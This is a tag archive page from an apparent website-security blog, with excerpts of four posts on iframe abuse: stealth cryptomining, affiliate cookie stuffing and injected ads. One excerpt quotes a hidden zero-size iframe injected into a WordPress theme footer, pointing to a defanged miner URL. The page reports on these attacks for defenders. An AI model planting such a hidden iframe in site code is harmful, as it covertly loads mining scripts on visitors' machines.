Tag Archives: iFrames

An Old Trick with a New Twist: Cryptomining Through Disguised URL Shorteners

As we have previously discussed on this blog, surreptitious cryptomining continues to be a problem as new methods emerge to both evade and hasten the ease of mining at the expense of system administrators, website owners, and their visitors. Another Way Hackers are Tricking Website Visitors into Stealth Cryptomining The latest of these new techniques More Info »

Malicious Cryptominers from GitHub

Recently, a webmaster contacted us when his AVG antivirus reported that the JS:Miner-C [Trj] infection was found on their site. Our investigation revealed a hidden iframe had been injected into the theme’s footer.php file: <iframe src="hxxps://wpupdates.github[.]io/ping/” style=”width:0;heigh:0;border:none;”> When we opened the URL in a browser, the page was blank. After checking the HTML source code, More Info »

Affiliate Cookie Stuffing in iFrames

Inline frames (iFrames) are an easy way to embed content from another site onto your own. This element allows you to insert another document inside an HTML page and can be really useful for embedding interactive applications like Google maps, advertisements and ecommerce applications. iFrame elements are also popular with website attackers because it allows More Info »

Injection of Unwanted Google AdSense Ads

During the last couple of years, it has become quite prevalent for hackers to monetize compromised sites by injecting unwanted ads. They can be pop-up ads triggered when a visitor spends a certain amount of time on an infected page, or automatic redirection of mobile traffic to URLs that belong to ad networks. It’s not More Info »